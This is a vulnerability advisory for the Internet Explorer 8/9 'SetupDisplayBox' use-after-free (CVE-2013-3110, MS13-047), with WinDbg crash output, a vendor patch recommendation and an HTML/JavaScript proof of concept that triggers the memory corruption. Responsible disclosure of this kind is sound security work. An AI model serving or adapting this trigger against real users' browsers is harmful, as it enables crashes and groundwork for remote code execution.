security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer 'SetupDisplayBox' Use-After-Free Vulnerability (MS13-047)
CVE	CVE-2013-3110
Vendor Website	http://www.microsoft.com/
Date Released	11/06/2013
Affected Software	Microsoft Internet Explorer 8, Microsoft Internet Explorer 9
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in Microsoft Internet Explorer 8 and Microsoft Internet Explorer 9. This allows a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

When the getClientRects() method is called, Internet Explorer attempts to return a collection of ClientRect objects for each CSS border box associated with the CParaElement. The memory corruption occurs when Internet Explorer fails to process the display on a CParaElement properly while performing 'SetupDisplayBox'.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.

The following table shows some cursory debug information in which EIP is pointing to non-existent memory:

Debug Information

```
(60c.d3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000320 ebx=04c0d200 ecx=000048a8 edx=00000000 esi=057fe220 edi=0311c4e8
eip=00003bc4 esp=0311c2e0 ebp=0311c2f8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
00003bc4 ??              ???
1:026> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
0311c2dc 3cfd8d6f 0x3bc4
0311c2f8 3d03a3ba mshtml!Ptls5::FsFinalizePelCore+0x8d
0311c324 3d038c3f mshtml!Ptls5::FsQueryTrackDetailsCore+0x7d
0311c350 3d038bec mshtml!Ptls5::FsQueryTrackParaListCore+0x44
0311c36c 3d038ce4 mshtml!Ptls5::FsQueryTrackParaList+0x6a
0311c7d8 3d038eb6 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x21e
0311cc58 3d01b905 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a6
0311cd10 3d01aeb6 mshtml!CPtsBfcBlockParaclient::SetupDisplayBoxForTrack+0x2b7
0311d090 3d0252b6 mshtml!CPtsBfcBlockParaclient::SetupDisplayBox+0x349
0311d140 3d0250c3 mshtml!CCssPageLayout::SetupDisplayBoxForTrack+0x15a
0311d594 3d024e88 mshtml!CCssPageLayout::SetupDisplayBoxForPage+0x28b
0311d624 3d01bdee mshtml!CCssDocumentLayout::GetPage+0x5df
0311d794 3cf5bf37 mshtml!CCssPageLayout::CalcSizeVirtual+0x254
0311d8cc 3cf6eaee mshtml!CLayout::CalcSize+0x2b8
0311d9c8 3d13d706 mshtml!CLayout::DoLayout+0x11d
```

```
0311d9dc 3cf4922d mshtml!CCssPageLayout::Notify+0x140
0311d9e8 3cf5259f mshtml!NotifyElement+0x41
0311d9fc 3cf493f7 mshtml!NotifyTreeNode+0x62
0311da54 3cf47382 mshtml!NotifyAncestors+0x1b6
0311daac 3cf472f5 mshtml!CMarkup::SendNotification+0x92
0311dad4 3cf5249a mshtml!CMarkup::Notify+0xd4
0311db1c 3cf2562a mshtml!CElement::SendNotification+0x4a
0311db40 3d051468 mshtml!CElement::EnsureRecalcNotify+0x15f
0311dc7c 3cf3fe59 mshtml!CCaret::UpdateScreenCaret+0x249
0311dc8c 3cf8a639 mshtml!CCaret::DeferredUpdateCaret+0x32
0311dcc0 3cf75328 mshtml!GlobalWndOnMethodCall+0xfb
0311dce0 7e418734 mshtml!GlobalWndProc+0x183
0311dd0c 7e418816 USER32!InternalCallWinProc+0x28
0311dd74 7e4189cd USER32!UserCallWinProcCheckWow+0x150
0311ddd4 7e418a10 USER32!DispatchMessageWorker+0x306
0311dde4 3e2ec1dd USER32!DispatchMessageW+0xf
0311feec 3e2932ef IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c
0311ffa4 3e137e91 IEFRAME!LCIETab_ThreadProc+0x2c1
0311ffb4 7c80b729 iertutil!CIsoScope::RegisterThread+0xab
0311ffec 00000000 kernel32!BaseThreadStart+0x37
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html>
<head>
<script>

function boom() {
  var dfn = document.getElementById("dfn1");
  var p1 = document.getElementById("para1");
  var p2 = document.getElementById("para2");
  var p3 = document.getElementById("para3");

  p1.appendChild(p3);
  p1.getClientRects();
  dfn.setAttribute("className", '');
  p1.getClientRects();
  p1.appendChild(p2);
  setTimeout('window.location = "http://127.0.0.1/")', 500);
}


</script>
</head>
<body onload="boom()">
<p id="para1">
<p id="para2">
<p dir="rtl" id="para3">
<dfn id="dfn1">
<iframe>
<p></iframe><p></dfn></p>
</body>
</html>
```

Solution

Microsoft validated this security issue in Internet Explorer 8 & 9 and issued a patch (MS13-047) to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596